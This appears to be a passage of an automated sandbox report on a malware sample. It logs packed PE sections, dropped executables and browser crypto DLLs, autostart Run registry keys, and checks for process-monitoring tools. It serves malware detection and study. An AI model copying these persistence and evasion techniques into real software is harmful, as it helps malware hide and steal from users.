Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: wshbth.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\compatibility.ini

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1816064 > 1048576

Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: file.exe

Static PE information: Raw size of xokcbvfd is bigger than: 0x100000 < 0x1a1200

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2226169893.000000006C78F000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2226169893.000000006C78F000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 5a20612cd1.exe, 00000011.00000003.3221168796.00000000081F0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.e60000.0.unpack :EW;.rsrc:W;.idata :W; :EW;xokcbvfd:EW;ingsbras:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;xokcbvfd:EW;ingsbras:EW;.taggant:EW;
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Unpacked PE file: 9.2.EBAEBFIIEC.exe.570000.0.unpack :EW;.rsrc:W;.idata :W;azhnnvna:EW;slqbrtle:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;azhnnvna:EW;slqbrtle:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 10.2.skotes.exe.f80000.0.unpack :EW;.rsrc:W;.idata :W;azhnnvna:EW;slqbrtle:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;azhnnvna:EW;slqbrtle:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 11.2.skotes.exe.f80000.0.unpack :EW;.rsrc:W;.idata :W;azhnnvna:EW;slqbrtle:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;azhnnvna:EW;slqbrtle:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Unpacked PE file: 15.2.5a20612cd1.exe.610000.0.unpack :EW;.rsrc:W;.idata :W; :EW;rmyngibq:EW;qytqqcga:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;rmyngibq:EW;qytqqcga:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Unpacked PE file: 16.2.0882197cda.exe.ec0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;xokcbvfd:EW;ingsbras:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;xokcbvfd:EW;ingsbras:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Unpacked PE file: 17.2.5a20612cd1.exe.610000.0.unpack :EW;.rsrc:W;.idata :W; :EW;rmyngibq:EW;qytqqcga:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;rmyngibq:EW;qytqqcga:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Unpacked PE file: 33.2.0882197cda.exe.ec0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;xokcbvfd:EW;ingsbras:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;xokcbvfd:EW;ingsbras:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Unpacked PE file: 34.2.9c573f8941.exe.b80000.0.unpack :EW;.rsrc:W;.idata :W;clroiqwq:EW;jwelxfrk:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Unpacked PE file: 39.2.9c573f8941.exe.b80000.0.unpack :EW;.rsrc:W;.idata :W;clroiqwq:EW;jwelxfrk:EW;.taggant:EW; vs :ER;.rsrc:W;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5BC410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C5BC410

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.12.dr	Static PE information: real checksum: 0x1ec068 should be: 0x1e7575
Source: 3e3be1ecc4.exe.12.dr	Static PE information: real checksum: 0x1ec068 should be: 0x1e7575
Source: 5a20612cd1.exe.12.dr	Static PE information: real checksum: 0x1c43a8 should be: 0x1c94c4
Source: 0882197cda.exe.12.dr	Static PE information: real checksum: 0x1c2916 should be: 0x1bbf00
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x32136f should be: 0x318cc5
Source: EBAEBFIIEC.exe.0.dr	Static PE information: real checksum: 0x32136f should be: 0x318cc5
Source: 9c573f8941.exe.12.dr	Static PE information: real checksum: 0x2b2913 should be: 0x2b0e0b
Source: random[1].exe0.12.dr	Static PE information: real checksum: 0x1c43a8 should be: 0x1c94c4
Source: random[1].exe1.12.dr	Static PE information: real checksum: 0x1c2916 should be: 0x1bbf00
Source: file.exe	Static PE information: real checksum: 0x1c2916 should be: 0x1bbf00
Source: skotes.exe.9.dr	Static PE information: real checksum: 0x32136f should be: 0x318cc5
Source: random[2].exe.12.dr	Static PE information: real checksum: 0x2b2913 should be: 0x2b0e0b

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: xokcbvfd
Source: file.exe	Static PE information: section name: ingsbras
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name: azhnnvna
Source: random[1].exe.0.dr	Static PE information: section name: slqbrtle
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: EBAEBFIIEC.exe.0.dr	Static PE information: section name:
Source: EBAEBFIIEC.exe.0.dr	Static PE information: section name: .idata
Source: EBAEBFIIEC.exe.0.dr	Static PE information: section name: azhnnvna
Source: EBAEBFIIEC.exe.0.dr	Static PE information: section name: slqbrtle
Source: EBAEBFIIEC.exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.9.dr	Static PE information: section name:
Source: skotes.exe.9.dr	Static PE information: section name: .idata
Source: skotes.exe.9.dr	Static PE information: section name: azhnnvna
Source: skotes.exe.9.dr	Static PE information: section name: slqbrtle
Source: skotes.exe.9.dr	Static PE information: section name: .taggant
Source: random[2].exe.12.dr	Static PE information: section name:
Source: random[2].exe.12.dr	Static PE information: section name: .idata
Source: random[2].exe.12.dr	Static PE information: section name: clroiqwq
Source: random[2].exe.12.dr	Static PE information: section name: jwelxfrk
Source: random[2].exe.12.dr	Static PE information: section name: .taggant
Source: 9c573f8941.exe.12.dr	Static PE information: section name:
Source: 9c573f8941.exe.12.dr	Static PE information: section name: .idata
Source: 9c573f8941.exe.12.dr	Static PE information: section name: clroiqwq
Source: 9c573f8941.exe.12.dr	Static PE information: section name: jwelxfrk
Source: 9c573f8941.exe.12.dr	Static PE information: section name: .taggant
Source: random[1].exe.12.dr	Static PE information: section name:
Source: random[1].exe.12.dr	Static PE information: section name: .idata
Source: random[1].exe.12.dr	Static PE information: section name:
Source: random[1].exe.12.dr	Static PE information: section name: klrfnhju
Source: random[1].exe.12.dr	Static PE information: section name: auusyycz
Source: random[1].exe.12.dr	Static PE information: section name: .taggant
Source: 3e3be1ecc4.exe.12.dr	Static PE information: section name:
Source: 3e3be1ecc4.exe.12.dr	Static PE information: section name: .idata
Source: 3e3be1ecc4.exe.12.dr	Static PE information: section name:
Source: 3e3be1ecc4.exe.12.dr	Static PE information: section name: klrfnhju
Source: 3e3be1ecc4.exe.12.dr	Static PE information: section name: auusyycz
Source: 3e3be1ecc4.exe.12.dr	Static PE information: section name: .taggant
Source: random[1].exe0.12.dr	Static PE information: section name:
Source: random[1].exe0.12.dr	Static PE information: section name: .idata
Source: random[1].exe0.12.dr	Static PE information: section name:
Source: random[1].exe0.12.dr	Static PE information: section name: rmyngibq
Source: random[1].exe0.12.dr	Static PE information: section name: qytqqcga
Source: random[1].exe0.12.dr	Static PE information: section name: .taggant
Source: 5a20612cd1.exe.12.dr	Static PE information: section name:
Source: 5a20612cd1.exe.12.dr	Static PE information: section name: .idata
Source: 5a20612cd1.exe.12.dr	Static PE information: section name:
Source: 5a20612cd1.exe.12.dr	Static PE information: section name: rmyngibq
Source: 5a20612cd1.exe.12.dr	Static PE information: section name: qytqqcga
Source: 5a20612cd1.exe.12.dr	Static PE information: section name: .taggant
Source: random[1].exe1.12.dr	Static PE information: section name:
Source: random[1].exe1.12.dr	Static PE information: section name: .idata
Source: random[1].exe1.12.dr	Static PE information: section name:
Source: random[1].exe1.12.dr	Static PE information: section name: xokcbvfd
Source: random[1].exe1.12.dr	Static PE information: section name: ingsbras
Source: random[1].exe1.12.dr	Static PE information: section name: .taggant
Source: 0882197cda.exe.12.dr	Static PE information: section name:
Source: 0882197cda.exe.12.dr	Static PE information: section name: .idata
Source: 0882197cda.exe.12.dr	Static PE information: section name:
Source: 0882197cda.exe.12.dr	Static PE information: section name: xokcbvfd
Source: 0882197cda.exe.12.dr	Static PE information: section name: ingsbras
Source: 0882197cda.exe.12.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C58B536 push ecx; ret	0_2_6C58B549
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Code function: 9_2_0058D91C push ecx; ret	9_2_0058D92F
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Code function: 9_2_00581359 push es; ret	9_2_0058135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_00F9D91C push ecx; ret	10_2_00F9D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_00F9D91C push ecx; ret	11_2_00F9D92F
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Code function: 13_3_04D095F7 push ecx; ret	13_3_04D0960A
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Code function: 13_3_04D2037D push esi; ret	13_3_04D20386

Source: file.exe	Static PE information: section name: xokcbvfd entropy: 7.953900079185616
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.0854159881757495
Source: EBAEBFIIEC.exe.0.dr	Static PE information: section name: entropy: 7.0854159881757495
Source: skotes.exe.9.dr	Static PE information: section name: entropy: 7.0854159881757495
Source: random[2].exe.12.dr	Static PE information: section name: entropy: 7.800049111886736
Source: 9c573f8941.exe.12.dr	Static PE information: section name: entropy: 7.800049111886736
Source: random[1].exe.12.dr	Static PE information: section name: klrfnhju entropy: 7.94158699808871
Source: 3e3be1ecc4.exe.12.dr	Static PE information: section name: klrfnhju entropy: 7.94158699808871
Source: random[1].exe0.12.dr	Static PE information: section name: entropy: 7.98596751431181
Source: random[1].exe0.12.dr	Static PE information: section name: rmyngibq entropy: 7.954341436383283
Source: 5a20612cd1.exe.12.dr	Static PE information: section name: entropy: 7.98596751431181
Source: 5a20612cd1.exe.12.dr	Static PE information: section name: rmyngibq entropy: 7.954341436383283
Source: random[1].exe1.12.dr	Static PE information: section name: xokcbvfd entropy: 7.953900079185616
Source: 0882197cda.exe.12.dr	Static PE information: section name: xokcbvfd entropy: 7.953900079185616

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\Documents\EBAEBFIIEC.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\Documents\EBAEBFIIEC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Jump to dropped file
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9c573f8941.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 5a20612cd1.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 0882197cda.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 6693ff7180.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Window searched: window name: FilemonClass	Jump to behavior
